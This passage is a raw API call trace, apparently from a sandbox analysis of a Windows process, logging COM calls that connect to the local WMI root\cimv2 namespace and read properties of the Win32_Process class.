[6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1aa04600) returned 0x0 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04600, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0157.110] WbemLocator:IClassFactory:CreateInstance (in: This=0x1aa04600, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1aa04620) returned 0x0 [0157.110] WbemLocator:IUnknown:Release (This=0x1aa04600) returned 0x0 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1aa04620) returned 0x0 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0157.110] WbemLocator:IUnknown:AddRef (This=0x1aa04620) returned 0x3 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0157.110] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0157.110] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0157.110] WbemLocator:IUnknown:Release (This=0x1aa04620) returned 0x2 [0157.110] WbemLocator:IUnknown:Release (This=0x1aa04620) returned 0x1 [0157.110] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0157.110] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0157.110] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa04620, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa04620) returned 0x0 [0157.111] WbemLocator:IUnknown:AddRef (This=0x1aa04620) returned 0x3 [0157.111] WbemLocator:IUnknown:Release (This=0x1aa04620) returned 0x2 [0157.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0157.111] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0157.111] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.111] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1aa04640) returned 0x0 [0157.111] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1aa04640, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc64c50) returned 0x0 [0157.142] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64c50, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdd580) returned 0x0 [0157.142] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd580, pProxy=0x1bc64c50, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0157.143] WbemLocator:IUnknown:Release (This=0x1bbdd580) returned 0x1 [0157.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64c50, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdd5c0) returned 0x0 [0157.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64c50, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdd580) returned 0x0 [0157.143] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd580, pProxy=0x1bc64c50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.143] WbemLocator:IUnknown:Release (This=0x1bbdd580) returned 0x2 [0157.143] WbemLocator:IUnknown:Release (This=0x1bbdd5c0) returned 0x1 [0157.143] CoTaskMemFree (pv=0x1bc196b0) [0157.143] WbemLocator:IUnknown:AddRef (This=0x1bc64c50) returned 0x2 [0157.143] WbemLocator:IUnknown:Release (This=0x1aa04640) returned 0x0 [0157.143] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0157.144] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0157.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64c50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdd590) returned 0x0 [0157.144] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd590, pPrx=0x1aa045a0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0157.144] WbemLocator:IUnknown:Release (This=0x1bbdd590) returned 0x2 [0157.144] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0157.144] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0157.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64c50, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc64c50) returned 0x0 [0157.144] WbemLocator:IUnknown:Release (This=0x1bc64c50) returned 0x2 [0157.144] SysStringLen (param_1=0x0) returned 0x0 [0157.144] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0157.144] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0157.144] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.144] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0157.144] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0157.145] IWbemServices:GetObject (in: This=0x1bc64c50, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb6ca0, ppCallResult=0x0) returned 0x0 [0157.148] IWbemClassObject:Get (in: This=0x1bbb6ca0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0157.148] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0157.148] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0157.148] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0157.148] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0157.148] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0157.148] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.150] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1aa04640) returned 0x0 [0157.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04640, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0157.150] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04640, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3fbc0) returned 0x0 [0157.150] WbemDefPath:IUnknown:Release (This=0x1aa04640) returned 0x0 [0157.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3fbc0) returned 0x0 [0157.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0157.151] WbemDefPath:IUnknown:AddRef (This=0x1bc3fbc0) returned 0x3 [0157.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0157.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0157.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1aa04660) returned 0x0 [0157.151] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa04660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.151] WbemDefPath:IUnknown:Release (This=0x1aa04660) returned 0x3 [0157.151] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0157.151] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0157.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0157.151] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x2 [0157.151] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x1 [0157.151] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0157.151] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0157.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fbc0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3fbc0) returned 0x0 [0157.152] WbemDefPath:IUnknown:AddRef (This=0x1bc3fbc0) returned 0x3 [0157.152] WbemDefPath:IUnknown:Release (This=0x1bc3fbc0) returned 0x2 [0157.152] WbemDefPath:IWbemPath:SetText (This=0x1bc3fbc0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0157.152] IWbemClassObject:Get (in: This=0x1bbb6ca0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0157.152] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0157.152] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0157.152] IWbemClassObject:Get (in: This=0x1bbb6ca0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0157.152] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0157.153] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0157.153] IWbemClassObject:Get (in: This=0x1bbb6ca0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0157.153] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0157.153] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0157.153] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.153] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.153] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.153] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.155] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa042e0) returned 0x0 [0157.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa042e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.155] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa042e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3fa40) returned 0x0 [0157.155] WbemDefPath:IUnknown:Release (This=0x1aa042e0) returned 0x0 [0157.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3fa40) returned 0x0 [0157.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.156] WbemDefPath:IUnknown:AddRef (This=0x1bc3fa40) returned 0x3 [0157.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa04320) returned 0x0 [0157.156] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa04320, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.156] WbemDefPath:IUnknown:Release (This=0x1aa04320) returned 0x3 [0157.156] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.156] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.156] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x2 [0157.156] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x1 [0157.156] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.156] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3fa40) returned 0x0 [0157.156] WbemDefPath:IUnknown:AddRef (This=0x1bc3fa40) returned 0x3 [0157.156] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x2 [0157.156] WbemDefPath:IWbemPath:SetText (This=0x1bc3fa40, uMode=0x4, pszPath="") returned 0x0 [0157.156] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.156] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.157] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, 